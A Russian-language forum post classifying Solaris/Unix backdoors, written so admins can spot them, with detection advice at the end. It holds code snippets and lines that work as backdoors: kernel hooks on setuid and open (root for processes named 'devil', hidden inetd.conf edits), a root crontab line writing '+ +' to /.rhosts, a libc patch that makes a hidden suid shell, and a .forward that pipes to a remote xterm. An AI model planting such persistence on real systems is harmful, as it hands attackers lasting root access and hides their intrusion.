Проникнуть в чужую систему и добиться там root привелегий это еще полдела. Как и в известной игре в "Царя горы", завоеванное нужно удержать. Для этого в систему вносятся небольшие изменения, оставляются программы. Это и есть backdoors. Чтобы найти их в своей системе ( А вдруг они там уже есть?! , необходимо понимать способы их создания. В этом документе я не претендую на описание всех возможных backdoors. Вы можете предложить свой способ и пополнить коллекцию. Все названия относятся к OS Solaris. В других *NIX системах они аналогичны. Классификация. Backdoors, дающие привилегии. Изменение атрибутов файлов. suid-bit (04000).suid-bit (04000). При запуске программы, имеющей s бит система порождает процесс с эффективным uid равным uid хозяина программы. Таким образом, копия shell, лежащая в удаленном каталоге и имеющая sticky-bit, дает мгновенные права "хозяина" файла, например root. Атрибуты специальных устройств. /dev/mem/dev/mem указывает на драйвер для доступа к памяти. Постановка на него атрибутов 0666 дает пользователю возможность прямой записи в память. Злоумышленник может найти proc_t структуру своего процесса и изменить его эффективный uid. {kmem_thief} Изменение системных файлов. /var/spool/cron/crontabs/ Cron создает заказанные процессы в установленное время. Взломщик может добавить строку, создающую, например, .rhosts файл в полночь и уничтожающую его утром в файл заданий root. /var/spool/cron/crontabs/root: 0 22 * * 6 "echo '+ +' > /.rhosts" 0 6 * * 1 "rm -rf /.rhosts" /etc/passwd, /etc/shadow - в этих файлах храниться информация о аккаунтах. Взломщик может добавть в них свои записи или изменить аттрибуты этих файлов для внесения в произвольный момент своей информации. /var/sadm/install/contents - этот файл хранит информацию о проинсталлированных в системе файлах, их размеры, атрибуты и контрольную сумму. Этот файл может быть изменен для сокрытия модификации программ. Подмена программ, модификация библиотек. Программы, имеющие sticky-bit или часто выполняемые администратором системы могут быть модифицированны для внесения изменений в систему при выполнении администратором. E.g: .... if( !geteuid()) chmod("/var/tmp/.hidden_shell", 0x4555); .... Аналогичный кусочек может быть вставлен в одну библиотек, например libc. Библиотека libc.a разбирается на обьектные файлы. Необходимая функция модифицируется и компилируется новая динамическая библиотека. Добавление модулей в ядро. Взломщик может добавить свой модуль в ядро и перехватить какой-либо из системных вызовов, скажем, SYS_setuid. SYS_setuid Solaris 2.6 .... proc_t p; user_t ut; int my_setuid(uid_t uid) { int rval; p = ttoproc(curthread); mutex_enter(&p->p_lock); up = prumap(p); rval = bcmp(up->u_comm, "devil", 5); (void)prunmap(p); mutex_exit(&p->p_lock); if( rval) { rval = setuid(uid); } else { ... } return 0; } .... Теперь достаточно переименовать свою программу в devil* и вызвать setuid для получения uid = 0. Специально оставленные программы. В системе могут быть оcтавлены файлы, такие как passwd крекеры, exploits для suid программ, etc. На не пропатченной системе с помощью exploitов могут быть получены root привелегии за счет выполнения кода в стеке программ имеющих sticky-bit. Backdoors, дающие доступ к системе. Введение доверенных отношений ~user/.rhosts, /etc/host.equiv, ~user/.shosts (при установленном SSH) Эти файлы создают доверенные отношения в сети. К ним обращаются демоны in.rlogind, in.rshd, sshd, etc. В файлах оговорены пары компьютер-пользователь которые могут входить в систему минуя схему аутенфикации. Пара '+ +' позволяет вход любого пользователя с любого компьютера без пароля. Наличие файла /.rhosts {+ +} предоставляет возможность войди в систему как root или smtp (uid=0, gid=0). Ограничение на вход пользователя root только с консоли не запрещает удаленный вход пользователя smtp, a /usr/bin/.rhosts дает вход для пользователя 'bin' ~user/.forward в этом файле хранится информация для перенаправления почты. Он может выглядеть например так: user |"/usr/openwin/bin/xterm -display another.host.net:0" Добавление или модификация демонов. Системные демоны обычно запускаются при старте системы из /etc/rc?.d/ файлов или при помощи мета-демона inetd. В эти файлы можно добавить старт своего демона. Для затруднения обнаружения посторонних соединений путем прослушивания сети или обмана firewalla чужая программа может использоваться UDP протокол или ICMP пакеты. Backdoors, маскирующие активность в системе. Подмена программ. Замена программ исправленными версиями используется для маскировки своей работы в системе, например, запуска ломалки паролей. Программы изменяются так что бы не показывать активность определенного пользователя, запускаемых им процессов, использование дискового пространства. Наиболее известным из пакетов программ для замены системных утилит является RootKit. {RootKit SunOS, RootKit Linux} Введение модулей в ядро. Модули могут перехватывать системные вызовы обращения к файлам, получения информации о системе и сознательно искажать получаемую информацию. Например, при открытии файла "/etc/inetd.conf" будет происходить открытие резервной копии этого файла спрятанной в системе. Таким образом скрывается изменение системных файлов. SYS_open: SYS_open Solaris 2.6 ... static char new_path = "/var/tmp/.locks/.idx/inetd.conf"; int my_open(char *fname, int fmode, int cmode) { int rval; rval = bcmp(fname, "/etc/inetd.conf", 16); if( rval) { return(copen(fname, (int)(fmode-FOPEN), cmode)); } else { return(copen(new_path, (int)(fmode-FOPEN), cmode)); } } ... Определение backdoors. Хорошо спрятанный backdoor довольно трудно найти. Вопросы поиска и создания backdoors напоминают "спор брони и снаряда". Проверка файлов. Разумным решением является сделать назависимый список системных файлов с их атрибутами и контрольными суммами. Этот список создается после инсталляции новой системы и корректировки ее с помощью aset (SUNWast) или 'fix-modes' by Casper Dik. Проверка файлов в системе можно производить по cron или постоянным процессом с низким приоритетом. Контрольные суммы вычисляемые /bin/sum не являются надежной гарантией безопасности, т.к. легко подбираются. Можно порекомедовать для этих целей MD5. Существует ряд продуктов различных фирм, позволяющих просматривать систему на предмет "странных" файлов, дат, атрибутов. Контроль сетевых соединений. Узнать о постороннем доступе в систему можно контролируя сетевой траффик и сканнируя хосты на предмет открытых портов. Существует большое количество как сканеров так и систем контроля за сетевым траффиком. Лучшим решением всегда остается firewall . Поддержание системы в разумном порядке. Системы со всеми инсталлированными патчами, отключенными неиспользуемыми сервисами существенно меньше подвержены разрушению, с разумно ограниченным доверием
Backdoors
Страница: 1
Сообщений 1 страница 1 из 1
Страница: 1